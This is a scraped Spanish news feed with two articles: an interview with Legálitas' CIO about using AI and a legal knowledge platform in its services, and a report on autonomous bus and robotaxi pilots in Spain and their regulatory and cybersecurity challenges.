<p>El sector jurídico se encuentra inmerso en un proceso de transformación digital que va más allá de la simple evolución de herramientas o de la digitalización de procesos internos. Se trata de un cambio profundo en la forma de ejercer el Derecho, impulsado por tecnologías como la inteligencia artificial (IA) o el análisis de datos, que está redefiniendo tanto la manera en que los ciudadanos acceden al asesoramiento jurídico como el trabajo de los profesionales. </p>



<p>En este contexto, compañías como Legálitas han decidido colocar la tecnología, y especialmente la IA, en el núcleo de su estrategia empresarial. “La aparición de la IA generativa nos ha permitido abrir un nuevo ciclo en nuestra transformación digital”, explica <strong>Martín Moisés Grande, CIO de Legálitas</strong>. “Hasta hace unos años la tecnología solo nos permitía digitalizar procesos que estaban en el perímetro del negocio, como facturación, comunicación o captación”. Ahora, añade, “nos permite diseñar e implementar sistemas que mejoran realmente el núcleo de nuestro negocio, que es puramente conversacional, interpretativo y basado en el conocimiento”. </p>



<p>Por ello, la organización ha situado la IA en el centro de su estrategia con dos objetivos principales: mejorar la experiencia del cliente y aumentar la eficiencia operativa. </p>



<h2 class="wp-block-heading">Innovar sin referentes </h2>



<p>Llevar la inteligencia artificial al corazón del servicio jurídico implica, sin embargo, afrontar retos tecnológicos y organizativos que no siempre tienen precedentes en el sector. Legálitas opera con un modelo de negocio particular, basado en asesoría jurídica por suscripción para particulares, autónomos y pymes, lo que obliga a desarrollar muchas soluciones tecnológicas prácticamente desde cero. “Nuestro negocio es único, no tenemos referentes”, reconoce el CIO. “Cuando iniciamos un proyecto de innovación sabemos que podemos equivocarnos y a veces ocurre que iteramos más de lo que nos gustaría, pero por el camino encontramos muchos aprendizajes”. </p>



<p>Ese proceso de experimentación forma parte de la evolución natural de un sector que sigue redefiniendo los modelos de servicio. “Nuestros abogados llevan mucho tiempo trabajando con herramientas orientadas a mejorar su eficiencia y la mejora continua forma parte de nuestra cultura corporativa”, señala Grande. Aunque la irrupción de la inteligencia artificial generó inicialmente algunas dudas por la posible desintermediación que la IA hace del conocimiento jurídico, “hoy existe un consenso claro en Legálitas: la inteligencia artificial no sustituye al profesional jurídico, sino que actúa como un potenciador de su productividad y mejora la calidad del servicio ofrecido”, explica el CIO. </p>



<h2 class="wp-block-heading">Gestionar millones de consultas legales </h2>



<p>En esa redefinición de los servicios hay un elemento que resulta determinante: la gestión del conocimiento. Uno de los activos más valiosos de la compañía es su base de conocimiento jurídico, construida a partir de años de asesoramiento legal real. “Es, junto con nuestro personal, nuestro activo más crítico y por eso lo gestionamos con mucho mimo”, señala el CIO. </p>



<p>Ese conocimiento se genera a partir de las interacciones reales con los clientes y se procesa mediante una arquitectura tecnológica diseñada para estructurarlo y hacerlo reutilizable. “El punto de partida son las interacciones reales con clientes, que pasan por un <em>pipeline</em> completamente industrializado: <em>anonimización</em> conforme a normativa europea, estructuración en modelos de pregunta-respuesta, enriquecimiento semántico mediante técnicas de vectorización y clasificación y <em>securización</em> bajo estándares estrictos de acceso y trazabilidad”. </p>



<p>El resultado es una plataforma de conocimiento jurídico que alimenta tanto el trabajo de los abogados como los servicios digitales de la compañía. “Todo este conocimiento se integra en una arquitectura orientada a consumo, que permite su explotación tanto por nuestros abogados como por nuestras soluciones digitales, garantizando consistencia, escalabilidad y reutilización”. </p>



<p>Para Grande, el verdadero reto tecnológico “no es solo almacenar conocimiento, sino hacerlo gobernable, accesible en tiempo real y capaz de alimentar modelos avanzados de inteligencia artificial con garantías de calidad y control. En definitiva, hemos pasado de gestionar información a operar una plataforma de conocimiento jurídico”. </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/04/LEGALITAS-nachourbon-364.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Martín Moisés Grande, CIO de Legálitas " class="wp-image-4154871" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/04/LEGALITAS-nachourbon-364.jpg?quality=50&amp;strip=all 8256w, https://b2b-contenthub.com/wp-content/uploads/2026/04/LEGALITAS-nachourbon-364.jpg?resize=300%2C200&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/04/LEGALITAS-nachourbon-364.jpg?resize=768%2C512&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/04/LEGALITAS-nachourbon-364.jpg?resize=1024%2C683&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/04/LEGALITAS-nachourbon-364.jpg?resize=1536%2C1024&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2026/04/LEGALITAS-nachourbon-364.jpg?resize=2048%2C1365&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2026/04/LEGALITAS-nachourbon-364.jpg?resize=1240%2C826&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2026/04/LEGALITAS-nachourbon-364.jpg?resize=150%2C100&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2026/04/LEGALITAS-nachourbon-364.jpg?resize=1046%2C697&amp;quality=50&amp;strip=all 1046w, https://b2b-contenthub.com/wp-content/uploads/2026/04/LEGALITAS-nachourbon-364.jpg?resize=252%2C168&amp;quality=50&amp;strip=all 252w, https://b2b-contenthub.com/wp-content/uploads/2026/04/LEGALITAS-nachourbon-364.jpg?resize=126%2C84&amp;quality=50&amp;strip=all 126w, https://b2b-contenthub.com/wp-content/uploads/2026/04/LEGALITAS-nachourbon-364.jpg?resize=720%2C480&amp;quality=50&amp;strip=all 720w, https://b2b-contenthub.com/wp-content/uploads/2026/04/LEGALITAS-nachourbon-364.jpg?resize=540%2C360&amp;quality=50&amp;strip=all 540w, https://b2b-contenthub.com/wp-content/uploads/2026/04/LEGALITAS-nachourbon-364.jpg?resize=375%2C250&amp;quality=50&amp;strip=all 375w" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>Martín Moisés Grande, CIO de Legálitas.</strong></p>
</figcaption></figure><p class="imageCredit">Legálitas. </p></div>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>“La inteligencia artificial no sustituye al profesional jurídico, sino que actúa como un potenciador de su productividad y mejora la calidad del servicio ofrecido”, explica Martín Moisés Grande</em></strong></p></blockquote></figure>



<h2 class="wp-block-heading">Álex, el asistente legal que ya utilizan más de 600.000 personas </h2>



<p>Uno de los desarrollos tecnológicos más visibles de esta estrategia es Álex, el asistente legal basado en inteligencia artificial que Legálitas ha creado para el público general. La herramienta responde a una necesidad muy concreta detectada en los usuarios. “La mayoría de la gente tiene dudas legales cotidianas, pero no acude a un abogado”, explica Grande. “Más del 70% de los usuarios recurría a Internet o a fuentes gratuitas que son confusas o poco fiables para resolver sus dudas legales”. </p>



<p>La idea fue crear un sistema capaz de ofrecer respuestas claras e inmediatas. “Ahí vimos la oportunidad: crear un asistente con IA que dé respuestas legales claras, inmediatas y fiables, sin coste y sin fricción”. </p>



<p>A diferencia de otros asistentes basados en inteligencia artificial, Álex se apoya en el conocimiento jurídico acumulado por la compañía. “La diferencia fundamental es que Álex no solo se apoya en modelos de lenguaje, sino en la experiencia práctica de Legálitas”. El sistema consulta fuentes verificadas y casos reales para minimizar errores. “Mientras que los modelos generalistas suelen inventar cuando no tienen información, Álex utiliza un sistema <em>agéntico</em> que consulta fuentes verificadas y el histórico de casos reales para reducir al mínimo las alucinaciones”. </p>



<p>Además, está diseñado para hacer comprensible el derecho. “Álex está diseñado justo para eso: traducir lo legal a lenguaje normal”. Cuando la consulta requiere intervención profesional, el sistema deriva al usuario a un abogado. “Álex actúa como un sistema de asistencia o aumento de capacidades, no de sustitución”, concluye el CIO de Legálitas. </p>



<p>Más allá de proyectos concretos, la IA se ha convertido en una tecnología transversal en la compañía. “Forma parte del ADN de todos los proyectos tecnológicos de Legálitas”, explica Grande. “No la abordamos como un proyecto aislado, sino como un habilitador clave de nuestra estrategia de hiperautomatización”. </p>



<p>Actualmente, la compañía utiliza IA en múltiples procesos internos y de atención al cliente. “La utilizamos en agentes autónomos de triaje que dirigen cada consulta al abogado especialista adecuado, en sistemas de transcripción y resumen automático de conversaciones, en el procesamiento de multas mediante imágenes y en herramientas de IA generativa que ayudan a los abogados a elaborar escritos apoyándose en nuestro <em>know-how</em> jurídico”. </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/04/Equipo-Alex.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Equipo Legálitas" class="wp-image-4154888" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/04/Equipo-Alex.jpg?quality=50&amp;strip=all 7718w, https://b2b-contenthub.com/wp-content/uploads/2026/04/Equipo-Alex.jpg?resize=300%2C200&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/04/Equipo-Alex.jpg?resize=768%2C512&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/04/Equipo-Alex.jpg?resize=1024%2C683&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/04/Equipo-Alex.jpg?resize=1536%2C1024&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2026/04/Equipo-Alex.jpg?resize=2048%2C1365&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2026/04/Equipo-Alex.jpg?resize=1240%2C826&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2026/04/Equipo-Alex.jpg?resize=150%2C100&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2026/04/Equipo-Alex.jpg?resize=1046%2C697&amp;quality=50&amp;strip=all 1046w, https://b2b-contenthub.com/wp-content/uploads/2026/04/Equipo-Alex.jpg?resize=252%2C168&amp;quality=50&amp;strip=all 252w, https://b2b-contenthub.com/wp-content/uploads/2026/04/Equipo-Alex.jpg?resize=126%2C84&amp;quality=50&amp;strip=all 126w, https://b2b-contenthub.com/wp-content/uploads/2026/04/Equipo-Alex.jpg?resize=720%2C480&amp;quality=50&amp;strip=all 720w, https://b2b-contenthub.com/wp-content/uploads/2026/04/Equipo-Alex.jpg?resize=540%2C360&amp;quality=50&amp;strip=all 540w, https://b2b-contenthub.com/wp-content/uploads/2026/04/Equipo-Alex.jpg?resize=375%2C250&amp;quality=50&amp;strip=all 375w" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>Equipo de Legálitas impulsor de Álex, el asistente legal basado en IA, creado para el público general.</strong></p>
</figcaption></figure><p class="imageCredit">Legálitas. </p></div>



<h2 class="wp-block-heading">Infraestructura híbrida y seguridad </h2>



<p>Para poder operar bajo estándares de calidad y seguridad, es imprescindible contar con una arquitectura tecnológica robusta. Así, la infraestructura de la compañía “se articula en un modelo híbrido diseñado para equilibrar control, seguridad y escalabilidad”, explica el CIO. </p>



<p>Legálitas combina un entorno tecnológico centralizado que soporta la operación diaria con una arquitectura <em>cloud</em> orientada a productos digitales. “Contamos con una capa <em>core</em> que soporta la operación diaria en un entorno controlado desplegado en nuestro CPD y basado en tecnologías consolidadas”. A ello se suma “una capa <em>cloud-native</em> orientada a casos de uso digitales y de alta escalabilidad, desplegada sobre Google Cloud”. </p>



<p>Ambas capas operan bajo un marco común de gobierno y seguridad. “Cumplimos con la normativa europea en materia de protección de datos y contamos con certificaciones como ISO 9001 e ISO 27001, además de alineamiento con requerimientos como DORA”. </p>



<p>En este contexto, la ciberseguridad se convierte en un elemento estratégico. “La ciberseguridad no es un elemento accesorio, sino una prioridad estratégica”. </p>



<h2 class="wp-block-heading">El futuro del asesoramiento jurídico </h2>



<p>Si la tecnología ya está cambiando el presente del sector legal, su impacto será aún mayor en los próximos años. “A cinco años vista, veo a Legálitas como una referencia <em>legaltech</em>”, afirma Grande. “Evolucionaremos hacia plataformas inteligentes y una automatización de extremo a extremo, con la inteligencia artificial integrada de forma nativa en procesos y productos”. </p>



<p>En ese escenario, la IA actuará como un asistente permanente tanto para los usuarios como para los profesionales, en definitiva, “como copiloto tanto del cliente como del abogado”. </p>



<p>Todo ello apoyado en una arquitectura tecnológica orientada al dato, a la nube y gobernada por la seguridad y la ética digital. El objetivo final es ampliar el alcance del servicio jurídico sin perder su dimensión humana. </p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Así se trabaja ya en España para impulsar el transporte autónomo]]></title>
<description><![CDATA[Para llegar al campus de la Universidad de Vigo (Uvigo) se necesita echar mano del coche o del transporte público. Solo unos pocos de sus centros se sitúan en el centro de la ciudad: la mayoría están en la ciudad universitaria que se levantó en los 90 en lo que hasta entonces eran montes. La depe...]]></description>
<link>https://tsecurity.de/de/3411418/it-nachrichten/as-se-trabaja-ya-en-espaa-para-impulsar-el-transporte-autnomo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3411418/it-nachrichten/as-se-trabaja-ya-en-espaa-para-impulsar-el-transporte-autnomo/</guid>
<pubDate>Mon, 06 Apr 2026 17:16:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Para llegar al <strong>campus de la Universidad de Vigo (Uvigo)</strong> se necesita echar mano del coche o del transporte público. Solo unos pocos de sus centros se sitúan en el centro de la ciudad: la mayoría están en la ciudad universitaria que se levantó en los 90 en lo que hasta entonces eran montes. La dependencia de medios de transporte es, por tanto, incuestionable. Quizás por eso también este es un espacio con potencial para probar nuevos modelos de vehículos. Desde el inicio del año, el campus de Vigo está testeando cómo es la vida con un bus autónomo.</p>



<p>El vehículo mueve al estudiantado (y a quien quiera probarlo) con una línea que recorre el campus, una ciudad universitaria que “reúne las condiciones ideales: un entorno complejo, con usuarios diversos y necesidades reales de transporte de última milla”. Por allí circulan otros vehículos, peatones o bicicletas y la previsión del tiempo puede ser intensa (los primeros meses de este año fueron, de hecho, de intensas lluvias).</p>



<p>“La prueba del vehículo tiene una doble misión estratégica”, responden vía correo electrónico y a cuatro voces los responsables del proyecto. Como explican Francisco Sánchez Pons, director de Electrónica, Sistemas de Transporte Inteligente y Movilidad Inteligente del Centro Tecnológico de Automoción de Galicia (CTAG); Felipe Gil Castiñeira, catedrático de la UVigo y miembro del GrupoGTI – altanTTic; Ana Fernández Vilas, catedrática de la UVigo y miembro Grupo ICLAB – atlanTTic; y Javier Vázquez, responsable de movilidad inteligente de la subdivisión CCAM del CTAG, “nos permite realizar un piloto real para mejorar la movilidad del campus mediante una solución autónoma y sostenible”, pero también “constituye una pieza central en nuestras investigaciones sobre la ‘securización’ de las comunicaciones del vehículo conectado”.</p>



<p>El bus usa la red experimental 5G/6G del campus y permite ir más allá de las simulaciones de laboratorio. “Vamos a someter las soluciones de comunicación V2X del vehículo a pruebas controladas, validando los sistemas de detección de ataques sobre el terreno”. Al tiempo, están usando IA o tecnologías <em>quantum ready</em>, en esa mejora de la respuesta al tiempo real o a la seguridad. Así, testan tanto la parte de ciberseguridad como la de robustez operativa y uso de las redes, al tiempo que investigan sobre cómo responde el público a este tipo de servicios.  “Se trata, en definitiva, de una iniciativa de colaboración UVigo-CTAG que valida tecnología autónoma gallega de primer nivel, avanza en la frontera de la ciberseguridad 5G/6G y ofrece un servicio de alto valor a la comunidad universitaria”, concluyen sus responsables.</p>



<p>El proyecto vigués es llamativo, pero está lejos de ser el único en marcha. La propia ciudad fue, de hecho, también espacio para las pruebas del <strong>proyecto europeo In2ccam y su <em>Vigo Living Lab</em></strong> puso a circular por las calles a coches autónomos para ver qué ocurría en situaciones de tráfico real. Sus <a href="https://www.atlantico.net/vigo/europa-confirma-vigo-modelo-implantar_1_20260323-4209109.html" target="_blank" rel="nofollow">conclusiones</a> destacan su potencial para su uso en Europa, ya que al ser capaz de reconducir rutas y eliminar paradas innecesarias reducen la congestión del tráfico hasta en un 21%.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/04/20220524_bus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Autobús autónomo del Port de Barcelona." class="wp-image-4154513" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/04/20220524_bus.jpg?quality=50&amp;strip=all 1090w, https://b2b-contenthub.com/wp-content/uploads/2026/04/20220524_bus.jpg?resize=300%2C200&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/04/20220524_bus.jpg?resize=768%2C512&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/04/20220524_bus.jpg?resize=1024%2C683&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/04/20220524_bus.jpg?resize=150%2C100&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2026/04/20220524_bus.jpg?resize=1045%2C697&amp;quality=50&amp;strip=all 1045w, https://b2b-contenthub.com/wp-content/uploads/2026/04/20220524_bus.jpg?resize=252%2C168&amp;quality=50&amp;strip=all 252w, https://b2b-contenthub.com/wp-content/uploads/2026/04/20220524_bus.jpg?resize=126%2C84&amp;quality=50&amp;strip=all 126w, https://b2b-contenthub.com/wp-content/uploads/2026/04/20220524_bus.jpg?resize=720%2C480&amp;quality=50&amp;strip=all 720w, https://b2b-contenthub.com/wp-content/uploads/2026/04/20220524_bus.jpg?resize=540%2C360&amp;quality=50&amp;strip=all 540w, https://b2b-contenthub.com/wp-content/uploads/2026/04/20220524_bus.jpg?resize=375%2C250&amp;quality=50&amp;strip=all 375w" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Autobús autónomo del Port de Barcelona.</p>
</figcaption></figure><p class="imageCredit">Port de Barcelona.</p></div>



<h2 class="wp-block-heading">Probando el transporte autónomo</h2>



<p>Las primeras pruebas de transportes autónomo arrancaron en España ya hace unos años. En 2022, el <strong>Port de Barcelona</strong> realizó un piloto de bus eléctrico autónomo con una ruta de 1,9 km por una zona con tráfico variado y complejidad en el recorrido. Barcelona <a href="https://www.lavanguardia.com/local/barcelona/20250311/10469424/minibus-autonomo-circula-barcelona-pruebas-conductor.html" target="_blank" rel="nofollow">repitió</a> el año pasado, con otro testeo en el Eixample realizado por <strong>Renault y WeRide</strong> que permitía a la ciudadanía viajar gratis con un itinerario circular. Entonces, Vicente Milanés, director de innovación abierta del grupo Renault, ya confirmaba a <em><a href="https://www.lavanguardia.com/local/barcelona/20250311/10469424/minibus-autonomo-circula-barcelona-pruebas-conductor.html" target="_blank" rel="nofollow">La Vanguardia</a></em>: “La tecnología está madura en un entorno muy complejo, con una gran interacción”.</p>



<p>A los ejercicios pasados se suman otros pilotos en marcha o a punto de arrancar. <a href="https://www.madrid.es/UnidadesDescentralizadas/OficinaDigital/Nav_OfDigital/ficheros/proyectosMCD/306.pdf" target="_blank" rel="nofollow"><strong>Madrid</strong></a>, por ejemplo, protagoniza unos cuantos. Ahora mismo, circula por <strong>Mercamadrid </strong>un autobús urbano de conducción autónoma, impulsado por el Ayuntamiento de Madrid y que tiene detrás a la empresa Alsa. El punto destacado de este proyecto es que supera la capacidad que, hasta ahora, solían manejar este tipo de buses (con 32 plazas frente a las 12 habituales), circulando igualmente por un entorno complejo. <strong>Alsa </strong>también opera en la ciudad desde 2020 un vehículo lanzadera de conducción autónoma en el <strong>campus de Cantoblanco de la Universidad Autónoma de Madrid</strong>.</p>



<p>Y, en el futuro no muy lejano, la capital podría contar con robotaxis. Todavía no tienen fecha, pero Uber ya <a href="https://es.euronews.com/next/2026/02/11/madrid-estrenara-taxis-sin-conductor-2026-coches-autonomos-uber" target="_blank" rel="nofollow">ha adelantado</a> que planea desplegar su flota autónoma antes del cierre de este año. La VTC ya opera este tipo de vehículos en algunas ciudades de Estados Unidos y de Oriente Próximo y <a href="https://efe.com/economia/2026-02-04/uber-viajes-vehiculos-autonomos-taxis-madrid-londres-los-angeles/" target="_blank" rel="nofollow">quiere</a> introducirlos a lo largo de este 2026 en Hong Kong, Houston, Múnich, Zúrich, Londres y Madrid. Madrid es, igualmente, una de las ciudades en las que Tesla está mostrando hasta finales de mayo (junto con Barcelona, Valencia, Sevilla y Málaga) su tecnología de conducción autónoma, aunque en este caso <a href="https://www.eleconomista.es/motor/noticias/13744547/01/26/el-coche-autonomo-comienza-a-circular-de-forma-publica-en-espana.html" target="_blank" rel="nofollow">son</a> viajes de demostración.</p>



<p>Todas estas pruebas podrían ser una punta de lanza de lo que está por llegar. El transporte autónomo se ha convertido en un tema candente tanto en la investigación académica como entre los intereses de la industria. La propia Asociación Española de Fabricantes de Automóviles y Camiones (ANFAC) acaba de firmar un acuerdo con la Fundación Ibercaja para impulsar el desarrollo tecnológico del coche conectado y autónomo. “El valor del vehículo del futuro no residirá únicamente en la producción, sino en la tecnología, los datos y el software”, decía en la presentación del convenio Josep M.ª Recasens, presidente de ANFAC. “Es en ese terreno donde España debe reforzar su posicionamiento para situarse en la vanguardia de la nueva movilidad”.</p>



<p>El trabajo no pasa solo por crear la tecnología o incorporarla, sino también por entender todas sus ramificaciones. Los investigadores del proyecto del bus vigués lo indican: “Este testeo nos enseña algo fundamental: la movilidad autónoma no es solo un reto tecnológico, sino un sistema técnico-social donde infraestructura, regulación y percepción ciudadana deben evolucionar conjuntamente”.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/04/bus-autonomo-mercamadrid.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Autobús urbano de conducción autónoma impulsado por el Ayuntamiento de Madrid y Alsa y que ya circula por Mercamadrid." class="wp-image-4154515" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/04/bus-autonomo-mercamadrid.jpg?quality=50&amp;strip=all 2734w, https://b2b-contenthub.com/wp-content/uploads/2026/04/bus-autonomo-mercamadrid.jpg?resize=300%2C174&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/04/bus-autonomo-mercamadrid.jpg?resize=768%2C445&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/04/bus-autonomo-mercamadrid.jpg?resize=1024%2C594&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/04/bus-autonomo-mercamadrid.jpg?resize=1536%2C890&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2026/04/bus-autonomo-mercamadrid.jpg?resize=2048%2C1187&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2026/04/bus-autonomo-mercamadrid.jpg?resize=1202%2C697&amp;quality=50&amp;strip=all 1202w, https://b2b-contenthub.com/wp-content/uploads/2026/04/bus-autonomo-mercamadrid.jpg?resize=290%2C168&amp;quality=50&amp;strip=all 290w, https://b2b-contenthub.com/wp-content/uploads/2026/04/bus-autonomo-mercamadrid.jpg?resize=145%2C84&amp;quality=50&amp;strip=all 145w, https://b2b-contenthub.com/wp-content/uploads/2026/04/bus-autonomo-mercamadrid.jpg?resize=828%2C480&amp;quality=50&amp;strip=all 828w, https://b2b-contenthub.com/wp-content/uploads/2026/04/bus-autonomo-mercamadrid.jpg?resize=621%2C360&amp;quality=50&amp;strip=all 621w, https://b2b-contenthub.com/wp-content/uploads/2026/04/bus-autonomo-mercamadrid.jpg?resize=431%2C250&amp;quality=50&amp;strip=all 431w" width="1024" height="594" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Autobús urbano de conducción autónoma impulsado por el Ayuntamiento de Madrid y Alsa y que ya circula por Mercamadrid.</p>
</figcaption></figure><p class="imageCredit">Foundry</p></div>



<h2 class="wp-block-heading">En qué trabaja la industria</h2>



<p>Aunque el coche autónomo parece material de ciencia ficción o el camino del transporte del futuro, lo cierto es que las fases iniciales de estas tecnologías ya están presentes en el día a día. Como apuntan las conclusiones del último <a href="https://anfac.com/publicaciones/barometro-de-vehiculo-autonomo-y-conectado-edicion-2025/" target="_blank" rel="nofollow"><em>Barómetro sobre Vehículo Autónomo y Conectado</em> de ANFAC</a>, el parque de vehículos ya “avanza hacia mayores niveles de automatización”.</p>



<p>Cada vez se incorporan más herramientas <em>tech</em> a los coches y el número de vehículos que no cuentan con alguna se va reduciendo. El 82% de los turismos comercializados en 2025 ya se sitúa en el nivel de conducción automatizada SAE 2 (la escala <a href="https://www.dgt.es/muevete-con-seguridad/vehiculos-seguros/conduccion-automatizada/vehiculos-de-conduccion-automatizada/" target="_blank" rel="nofollow">va del cero al 5</a>, siendo el 4 y el 5 las mayores automatizaciones), pero podrían alcanzar el nivel 3 sin mucho problema. “La tecnología ya existe, se puede implementar, lo que falta es un marco regulatorio de circulación que permita su uso en nuestras ciudades y carreteras hasta el nivel SAE 4, prácticamente autónomo al 100%”, concluye en la nota de prensa de presentación del estudio José López-Tafall, director general de ANFAC.</p>



<p>España cuenta desde julio de 2025 con un marco normativo para los testeos. Esto llevó a que, en el último semestre de ese año y según datos de ANFAC, se hiciesen una decena de pruebas de vehículos automatizados y que 9 de ellas fuesen con coches con niveles “altamente automatizados”, esto es, muy autónomos. Pero ¿qué buscan exactamente esas pruebas y hacia dónde va la industria? “La movilidad del futuro no se basa solo en reducir emisiones, sino en integrar tecnología que mejore la seguridad, el confort y potencie las capacidades del vehículo”, afirma López-Tafall. “El valor de los coches del futuro no estará ni en el metal ni en el motor, sino en el software y en el dato”.</p>



<p>Los expertos del proyecto vigués apuntan que la industria busca lo práctico, que va de ayudar a la conducción en vehículos personales a solucionar (con robotaxis y <em>shuffles</em> autónomos “de última milla”) los problemas de movilidad en escenarios concretos. “El mercado ha evolucionado desde expectativas sobredimensionadas por la ciencia ficción hacia un enfoque más realista y orientado a casos de uso específicos”, indican. Al probarla en entornos controlados, se puede “madurar la tecnología y el modelo de negocio antes de su expansión a entornos urbanos complejos y una operativa de masas”.</p>



<figure class="wp-block-pullquote"><blockquote><p><em><strong> “El valor de los coches del futuro no estará ni en el metal ni en el motor, sino en el software y en el dato”, recalca José López-Tafall, director general de ANFAC</strong></em></p></blockquote></figure>



<p>Cuando esto pase, el cambio podría ser notable. “Creo que va a ser un cambio muy relevante, que va a tener un impacto tremendo”, pronostica Javier Goikoetxea, CEO de Next Mobility, que recuerda, eso sí, que “esto va a tomar tiempo”. “La tecnología nos va a permitir más que conducir en un viaje”, señala. “Será más eficiente al conducir en condiciones adversas”, ejemplifica. Esto es, de hecho, el gran punto sobre el que acaban hablando la mayoría de los análisis sobre la tecnologización de la flota. Las herramientas <em>tech</em> serán otros ojos, que permitirán responder mejor ante los problemas e imprevistos. Esto podría reducir accidentes o su gravedad.</p>



<p>Pero, igualmente, llegarán otros cambios, sociales o en modos de uso. “Seguramente se van a habilitar otros espacios dentro del automóvil, donde irás leyendo, jugando o viendo una película. Vamos a utilizar el transporte para hacer algo más que viajar”, señala Goikoetxea. El transporte autónomo también podría cubrir áreas problemáticas por falta de personal o necesidades crecientes (como la logística) o mejorar el transporte público, llegando a más zonas o flexibilizando los servicios. “Lo que está claro es que la movilidad autónoma se presenta hoy no como un sustituto del transporte tradicional, sino como un complemento, mejorando la oferta de servicios de movilidad”, explican los expertos de la UVigo.</p>



<h2 class="wp-block-heading">Los retos del coche autónomo </h2>



<p>Con todo, y como ocurre con todas las revoluciones tecnológicas, el coche autónomo se enfrenta a unos cuantos obstáculos. “Hoy los retos son multidimensionales”, explican los responsables del proyecto vigués. “Por un lado, está el aspecto técnico, donde ya existe la tecnología, pero los esfuerzos ahora se dirigen a su robustez, escalabilidad y operabilidad, para pasar de algo que funciona a algo que realmente aporte un valor a nivel de servicio”, indican, y suman “el reto crítico de la ciberseguridad”. “Un vehículo autónomo es, en esencia, una infraestructura crítica en movimiento”, señalan.</p>



<p>Las voces de la industria hablan igualmente del marco normativo. La norma de 2025 ha sido un importante paso adelante, pero no debe ser el punto final. Como señalan los expertos vigueses, es importante que se armonice la normativa a nivel europeo y que se incluyan no solo las leyes de circulación sino también las de impacto tecnológico, como puede ser la de ciberseguridad.</p>



<figure class="wp-block-pullquote"><blockquote><p><em><strong>“Antes seguramente no querríamos volar y ahora vemos que es el medio más seguro. Con el coche va a pasar algo parecido”, dice Javier Goikoetxea, CEO de Next Mobility</strong></em></p></blockquote></figure>



<p>Goikoetxea añade que “nos cuesta cambiar la ley” cuando toca abordar las innovaciones tecnológicas, lo que podría crear una situación con dos mercados “muy aperturistas” (China y EE. UU.) y una Europa que no lo sea tanto. En ese contexto, denuncia, “no podemos competir”. “A los políticos les cuesta mucho cambiar las cosas y son ellos los que tienen que permitir que, por ejemplo, en España puedan existir vehículos autónomos de nivel 5. La ley permite nivel 3, pero no 5”, señala. Este experto en movilidad cree que las cosas están bastante resueltas a nivel ciberseguridad, porque la industria ya está obligada a cumplir elevados estándares con las certificaciones europeas que debe seguir.</p>



